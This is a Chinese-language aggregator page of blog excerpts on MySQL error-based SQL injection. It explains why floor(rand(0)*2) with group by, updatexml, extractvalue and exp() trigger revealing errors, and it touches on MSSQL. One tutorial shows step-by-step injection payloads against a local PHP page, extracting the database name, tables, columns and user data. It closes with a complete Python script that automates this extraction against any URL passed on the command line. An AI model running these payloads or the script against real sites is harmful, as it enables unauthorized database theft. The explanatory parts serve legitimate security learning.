精华内容
下载资源
问答
  • 报错注入原理

    2020-11-20 10:50:26
    select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from tys group by x count(*):返回匹配指定条件的行数 ... 报错原理over! 参考文章: https://blog.csdn.net/he_and/article/details/80455884
    select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from tys group by x

    count(*):返回匹配指定条件的行数

    concat():用于连接两个字符串(上面的语句中就是以@符连接的)

    floor(rand(0)):生成有规律的序列 0110110(前六位)
     
    x:x是对concat连接的两个字符串起的别名,相当于 as x
     
    group by:按照by指定的规矩(这里面是x)进行分组
     
     
    过程原理:
    <1>首先是第一次计算floor(rand(0)*2)=0,而此时表是空的,我们要插入此条记录x=='0@5.7.30-0ubuntu0.16.1',而rand()函数在查询的时候会执行一次,插入的时候还会执行一次,所以进行第二次计算,插入的值变成了@5.7.30-0ubuntu0.16.1
                          count(*)                        x
                              1         1@5.7.30-0ubuntu0.16.1
    <2>第二次计算floor(rand(0)*2)=1, 数据为x=='1@5.7.30-0ubuntu0.16.1',而表中已经存在 1@5.7.30-0ubuntu0.16.1了,所以不用插入数据,只用更改count(*)数即可
                        count(*)                        x
                            1         1@5.7.30-0ubuntu0.16.1

    <3>第三次计算的计算为floor(rand(0)*2)=0,数据为x=='0@5.7.30-0ubuntu0.16.1',因为表中数据并没有重复的,所以要插入数据,而rand()函数在查询的时候会执行一次,插入的时候还会执行一次,所以进行第二次计算,插入的值变成了1@5.7.30-0ubuntu0.16.1,又因为表中已经存在1@5.7.30-0ubuntu0.16.1,所以插入报错!

    报错原理over!

    展开全文
  • sql注入报错注入原理解析

    万次阅读 多人点赞 2018-05-25 20:53:20
    sql注入报错注入原理详解 前言 我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理,特此记录,也希望...

    这里写图片描述

    sql注入报错注入原理详解

    前言

    我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理,特此记录,也希望后来的小伙伴能够少走弯路

    0x01

    我们先来看一看现象,我这里有一个users表,里面有五条数据:
    这里写图片描述
    然后用我们的报错语句查询一下:

    select count(*),(concat(floor(rand()*2),(select version())))x from users group by x
    

    这里写图片描述
    成功爆出了数据库的版本号。
    要理解这个错误产生的原因,我们首先要知道group by语句都做了什么。我们用一个studetn表来看一下:
    这里写图片描述
    现在我们通过年龄对这个表中的数据进行下分组:
    这里写图片描述
    形成了一个新的表是吧?你其实应该能够想到group by 语句的执行流程了吧?最开始我们看到的这张sage-count()表应该时空的,但是在group by语句执行过程中,一行一行的去扫描原始表的sage字段,如果sage在sage-count()不存在,那么就将他插入,并置count()置1,如果sage在sage-count()表中已经存在,那么就在原来的count(*)基础上加1,就这样直到扫描完整个表,就得到我们看到的这个表了。

    注:这里有特别重要的一点,group by后面的字段时虚拟表的主键,也就是说它是不能重复的,这是后面报错成功的关键点,其实前面的报错语句我们已经可以窥见点端倪了这里写图片描述
    ####0x02
    正如我前面所说的,报错的主要原因时虚拟表的主键重复了,那么我们就来看一下它到底是在哪里,什么时候重复的。这里rand()函数就登场了。
    首先我们先来了解rand()函数的用法:
    1.用来生成一个0~1的数
    2.还可以给rand函数传一个参数作为rand()的种子,然后rand函数会依据这个种子进行随机生成。
    那他们的区别是什么呢?我们来看一下,这两个语句的执行效果:
    这里写图片描述
    可以看到rand()生成的数据毫无规律,而rand(0)生成的数据则有规律可循,是:
    0110 0110
    注:如果你觉得数据不够,证明不了rand()的随机性,你可以自己多插入几条数据再查询试一下。

    0x03

    现在我们弄清楚了group by语句的工作流程,以及rand()与rand(0)的区别,那么接下来就是重点了,mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次。
    **第一次:**我们之前不是说了会把group by后面的字段值拿到虚拟表中去对比吗,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。
    **第二次:**现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!
    所以我们现在通过一个例子来验证我们的理论,拿出我们最开始的例子:

    select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x
    

    声明:users表就是本文第一个表,表中有五条数据

    注意我这里用的是rand(0),不是rand(),
    rand(0)生成的有规律的序列:
    这里写图片描述
    我们跟着刚刚的思路走,最开始的虚拟表是空的,就像下面一样:

    count(*) x

    当我扫描原始表的第一项时,第一次计算,floor(rand(0)*2)是0,然后和数据库的版本号(假设就是5.7.19)拼接,到虚拟表里去寻找x有没有x的值是x@5.7.19的数据项,结果显然是没有,那么接下来就将它插入到上表中,但是还记得吗,在插入之前会进行第二次计算,这时x的值就变成了1@5.7.19,所以虚拟表变成了下面这样:

    count(*) x
    1 1@5.7.19

    现在扫描原始表的第二项,第一次计算x==’1@5.7.19‘,已经存在,不需要进行第二次计算,直接插入,得到下表:

    count(*) x
    2 1@5.7.19

    扫描原始表的第三项,第一次计算x==‘0@5.7.19’,虚拟表中找不到,那么进行第二次计算,这时x==‘1@5.7.19’,然后插入,但是插入的时候问题就发生了,虚拟表中已经存在以1@5.7.19为主键的数据项了,插入失败,然后就报错了!


    上面是使用rand(0)的情况,rand(0)是比较稳定的,所以每次执行都可以报错,但是如果使用rand()的话,因为它生成的序列是随机的嘛,所以并不是每次执行都会报错,下面是我的测试结果:
    这里写图片描述
    执行了五次,报错两次,所以是看运气。

    总结

    总之,报错注入,rand(0),floor(),group by缺一不可

    展开全文
  • 什么是报错注入报错注入就是页面上会回显出错的地方 就比如下面这个图一样,这就是报错注入 一般使用在没有回显的地方,语句会报错的地方,一般情况下盲注也可以用。但是 能不使用盲注的情况下,就不使用。因为...

    前言:

    什么是报错注入,报错注入就是页面上会回显出错的地方

    就比如下面这个图一样,这就是报错注入

    一般使用在没有回显的地方,语句会报错的地方,一般情况下盲注也可以用。但是

    能不使用盲注的情况下,就不使用。因为那样是真的累~~~

    正文:

    0x01:源码分析

    <?php
    $con = mysqli_connect("127.0.0.1","root","root","test");
    if (mysqli_connect_errno())
    {
        echo "连接失败:".mysqli_connect_error();
    }
    $id = $_GET['id'];
    $result = mysqli_query($con,"select * from user where `username`='".$id."'");
    if($result){
        echo "ok".'<br/>';
        echo '数据库查询语句:'."select * from user where `username`='".$id."'";
    }else{
        echo mysqli_error($con);
    }
    ?>

    看过前面的 联合查询注入,就知道了这些函数的作用。及时没看过,也懂的啥用处

    变量result 里面的函数,是代入数据库去查询的语句。

    反引号(`):在php和mysql中,一般可以去给字段或者表这些关键字加个反引号

    引用书中的话:

    代码获得到GEt传参,然后我们赋值的get参数为 id(当然,原文中是 username,这样为了更方便的看)然后拼接到数据库中查询。如果正确,返回ok,如果错误,返回页面的报错信息,书中是没有这行的。

    echo '数据库查询语句:'."select * from user where `username`='".$id."'";

    因为怕可能有些刚入门的兄弟看不懂,所以我直接打印出来。

    如果错误,返回最近调用函数的最后一个错误描述。简单理解就是返回错误

    报错注入:就是通过返回的错误,进行注入,获取数据

     

    0x02:报错注入有哪些可使用的函数

    updatexml() 函数:

    updatexml(xml_name,xpath, value)

    xml_name:xml文档的名称,可以随便填写,因为我们是要导致报错,而不是真的要替换

    xpath:xpath语法,         可以死记硬背,格式为 :  concat(0x7e,(查询语句),0x7e)

    value:我们要替换文件后的 一个新的文件, 依然随便填写

    简单使用:

    updatexml(1,concat(0x7e,(select database()),0x7e),1)

    extractvalue() 函数:

    extraxtvalue (XML_name, XPath_string);

    xml_name:xml文档的名称,可以随便填写,因为我们是要导致报错,而不是真的要替换

    xpath:xpath语法,         可以死记硬背,格式为 :  concat(0x7e,(查询语句),0x7e)

    简单使用:

    extractvalue(123,concat(0x7e,(select database()),0x7e))

     

    0x03 报错注入(本地环境实战)

     

    第一步 :进行闭合

    进入本地搭建的环境,当然有些不需要闭合,这个是看经验的。我就不多bb了

    发觉数据库的查询语句中,似乎没有闭合好,直接来个单引号 与 '1' 闭合掉。

    发现似乎还是报错了,其实我们闭合了,但是多出了一个单引号,这时候我们可以使用 # 或者 --+来闭合

    # 是mysql数据库独有的 , 万一不是MySQL数据库就误导了,所以一般情况下还是用 --+进行注释

    这时候就会发现页面正常了

    但是查询语句--+ 变成了 -- 了,其实这是正常的,+好会被理解为空格,如果我们直接写空格的话。

    那万一无法识别出,直接自动忽略了。所以有2种写法 

    ①.   -- qwe             其实qwe前面还有一个空格,至于这个qwe是乱写的。这样会识别出空格,然而这是个注释符,所以后                                  面随便写都没事,这样是方便浏览器识别

    ②.   --+                   空格会被自动的识别为 空格,所以我们在url中,尽量少使用+进行判断漏洞是否存在

    第二步:爆出数据库名

    根据上面一步,已经闭合成功了,这时候就可以使用updatexml() 函数和extractvalue() 来进行爆出库名

    构造payload:

    updatexml()函数

    id=1' and updatexml(11,concat(0x7e,(select database()),0x7e),11)-- q

    extractvalue() 函数

    id=1' and extractvalue(11,concat(0x7e,(select database()),0x7e))-- q

    可以发现这2个的结果一样,都成功的爆出了数据库名,然后我们看下数据库。没错,正确的~~~~~

     

    第三步:爆出表名

    我们已经知道了库名是 test了,然后依旧构建payload,爆出表名。其实和前面的 union查询一样

    只不过报错注入是子查询

    updatexml() 函数

    id=1' and updatexml(11,concat(0x7e,(select table_name from 
    information_schema.tables where table_schema=database() limit 0,1),0x7e),11) --+

    extractvalue() 函数

    id=1' and extractvalue(11,concat(0x7e,(select table_name from 
    information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+

    第四步:爆出字段

    updatexml() 函数

    id=1' and updatexml(11,concat(0x7e,(select column_name from information_schema.columns
    where table_schema=database() and table_name='user'limit 0,1),0x7e),11) --+

    extractvalue() 函数

    id=1' and extractvalue(11,concat(0x7e,(select column_name from information_schema.columns
    where table_schema=database() and table_name='user'limit 0,1),0x7e)) --+

     

    这时候我们可以看出,有个id字段,但是我们还远username和password字段

    所以我们改一下 limit 1,1 这样进行排序

    第五步 查询数据

    用updatexml也一样。一般情况下我是推荐使用updatexml,不要问我为什么,因为好多人都是这样

    哈哈哈哈~~~~~

    http://192.168.209.137/test/update.php
    ?id=1' and extractvalue(11,concat(0x7e,(select username from user where id=1),0x7e)) --+

     

    0x04 报错注入拓展

    报错注入的十种

    十种报错注入,点击这个链接就可以跳转了

     

    0x05 python写报错注入脚本

    import requests,re,time
    from argparse import ArgumentParser
    
    arg = ArgumentParser(description="baocuo.py -u http://www.xxxx.com/news?id=1")
    arg.add_argument('-u', help='target URL', dest='urls', type=str)
    url = arg.parse_args()
    
    payload = ["'",'"',"')",'")',")"]
    tables = []
    columns = []
    data = {}
    
    def target_db():
        for pay in payload:
            test1 = url.urls + pay +" and updatexml(1,concat(0x7e,(select database()),0x7e),1)"+ "--+"
            #目标网址
            con = requests.get(test1)
            bianma = con.encoding='gbk'
            html = con.text    #            连接目标网址
            url_text = str(html)
            try:
                if 'syntax' or 'error' in url_text:
                    db_name = re.search("~\w{3,20}~", url_text)
                    a = db_name.group()
                    print("库名:",a[1:-1])
                else:
                    print("无法爆破出库名")
            except:
                pass
    
    def tab():
        for num in range(10):
            for pay in payload:
                test1 = url.urls + pay + " and updatexml(11,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {num},1),0x7e),11)" + "--+"
                # 目标网址
                con = requests.get(test1.format(num=num))
                # print(con.url)
                bianma = con.encoding = 'gbk'
                html = con.text             # 连接目标网址
                url_text = str(html)
                try:
                    if 'syntax' or 'error' in url_text:
                        tab_name = re.search("~\w{2,20}~", url_text)
                        a = tab_name.group()
                        tables.append(a[1:-1])
                    else:
                        print("无法爆破出库名")
                except:
                    pass
    
    def column():
        for num in range(10):
            for pay in payload:
                for tabs in tables:
                    test1 = url.urls + pay + " and updatexml(11,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='{tab}'limit {num},1),0x7e),11)" + "--+"
                    con = requests.get(test1.format(tab=tabs,num=num))
                    # print(con.url)
                    bianma = con.encoding = 'gbk'
                    html = con.text             # 连接目标网址
                    url_text = str(html)
                    try:
                        if 'syntax' or 'error' in url_text:
                            column_name = re.search("~\w{2,20}~", url_text)
                            col_name = column_name.group()
                            columns.append(col_name[1:-1])
    
    
                        else:
                            print("无法爆破出库名")
                            break
                    except:
                        pass
    
    def get_data():
        for num in range(10):
            for tab_name in tables:
                for ziduan in columns:
                    for pay in payload:
                        test1 = url.urls + pay +" and updatexml(1,concat(0x7e,(select {col} from {tab} limit {num},1),0x7e),1)"+ "--+"
                        #目标网址
                        con = requests.get(test1.format(col=ziduan,tab=tab_name,num=num))
                        bianma = con.encoding='gbk'
                        html = con.text    #            连接目标网址
                        url_text = str(html)
                        try:
                            if 'syntax' or 'error' in url_text:
                                datas = re.search("~\w{1,20}~", url_text)
                                data1 = datas.group()
                                print(ziduan+':'+data1[1:-1])
                            else:
                                pass
                        except:
                            pass
    
    
    if __name__ == '__main__':
        start = time.time()
        target_db()
        tab()
        print("表名:",tables[0])
        column()
        print("字段:", columns)
        print("********"+"↓"*2+"数据"+"↓"*2+"********")
        get_data()
        end = time.time()
        timeout = int(end-start)
        print("报错注入耗时:%ss"%timeout)
    

     

    文末

    似乎没啥好说的,不过感觉python的脚本写的很乱,如果需要的话可以改一改。太麻烦了~~

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    展开全文
  • 关于SQL报错注入原理详细解析 之前读过多篇关于Mysql报错注入之floor(rand(0)*2)报错原理探究的文章,都觉得原理阐述大同小异,但在具体细节上,还是不太明白,结合看过的文章和自己的理解,对SQL报错注入原理进行更...

    关于SQL报错注入原理详细解析

    之前读过多篇关于Mysql报错注入之floor(rand(0)*2)报错原理探究的文章,都觉得原理阐述大同小异,但在具体细节上,还是不太明白,结合看过的文章和自己的理解,对SQL报错注入原理进行更细致的分析,身为一名网络安全小白,也是想和刚入门的同学一起研究sql注入原理,文章如果有错误的地方,希望大佬批评指正。有兴趣的同学可以查看此篇文章的链接,了解sql报错注入的一般原理:Mysql报错注入之floor(rand(0)*2)报错原理探究
    在报错原理分析中,主要困惑我的地方就是:
    对于下图表1:
    在这里插入图片描述
    执行正常的sql语句:select count(*), age as a from ..... group by a;后形成下表2:
    在这里插入图片描述
    执行过程可以解释为先执行 group by age 语句,顺序检测表1中age值,比如第一个age取值为18,则检测由
    select count(), age as a from … group by a
    形成的虚表中是否有18这个取值,如果有,则count值+1,如果没有,则将该条记录添加进虚表中。形成的虚表如图3所示:
    在这里插入图片描述
    而对于实际报错注入中,常用的语句
    select count(), floor(rand(0)2) as a from .... group by a
    语句实现过程讲解中,对于 floor(rand(0)2) 的取值,第一次执行时,若值为0,则继续检查虚表中是否有记录,若有0记录,则count值+1,若没有0记录,则准备插入该条记录,并再次计算 floor(rand(0)2),并插入第二次计算的值。
    ?????????
    这点讲解就有点让人迷惑,和上述以age为例子的执行过程讲解貌似不一样,正常逻辑应该是如果没有记录,则应该是将该条记录插入到虚表中,可实际执行过程并不是这样。
    通过我的思考,我认为执行过程可以这样理解,group by 语句执行次数是与虚表中有无相同记录决定的,有相同记录则执行1次,没有则执行2次。
    1.首先为了完善虚表,需要第一次执行group by …语句,并从原表中取出特定一条记录,如在第一个例子中,第一次执行group by age时,是取出age=18 这条记录,并准备将它放入虚表中。之后对比取出的记录age=18和虚表中的是否有相同记录,如果虚表中存在记录,则group by…仅此执行一次,通过比较发现两条记录一样(age=18),则令count+1.
    2.如果虚表中没有记录,需要在虚表中插入该记录,实际上就是隐含执行了一次insert操作,确定主键key(在表1对应的是age)的值,所以需要再次确定age值,并将该值放入虚表主键一栏中,并令count值+1.
    至此,根据上述解释,关于语句

    select count(), floor(rand(0)2) as a from .... group by a
    

    就可以解释的通了,就是第一次执行group by a 是取出记录,通过比较虚表中记录,若存在记录,则直接令相关记录count+1,若不存在记录,则进行一次insert操作,需要再次运行floor(rand(0)2)确定主键key 的值,并将该条记录放入虚表中。接下来报错的解释就很容易理解了。

    展开全文
  • mssql报错注入原理及流程实例mssql 报错注入1. 原理2. mssql 测试实例2.1 找注入点2.2 判断类型2.3 获取信息获取数据库的数量获取数据库名获取表名获取列名获取列中的值 mssql 报错注入 1. 原理 在MSSQL中,数据...
  • 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客,今天来探究其原理 实际上该...
  • Mysql报错注入原理分析(count()、rand()、group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明...
  • 这段时间学习SQL盲注中的报错注入,发现语句就是那么两句,但是一直不知道报错原因,所以看着别人的帖子学习一番,小本本记下来 (1) count() , rand() , group by 1.报错语句构造  先直接上两个网上经常使用的报错...
  • sql报错注入原理分析

    2019-10-13 10:10:10
    研究人员发现,使用group by子句结合rand()函数以及像count(*)这样的聚合函数,在SQL查询时会出现错误,且错误是随机产生的,这就产生了双重查询注入。 到底为什么floor()、rand(0)、count()、group by相结合,会...
  • mysql 报错注入原理及部分函数讲解

    千次阅读 2020-05-17 10:58:34
    文章目录 报错注入原理 报错函数: updatexml() extractvalue() floor() MySQL版本报错函数利用(参考) 报错注入原理 报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的,我们就可以尝试利用...
  • msg mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)' exp()即为以e为底的对数函数,即求解e的710次方,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。...
  • 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 416
精华内容 166
关键字:

报错注入原理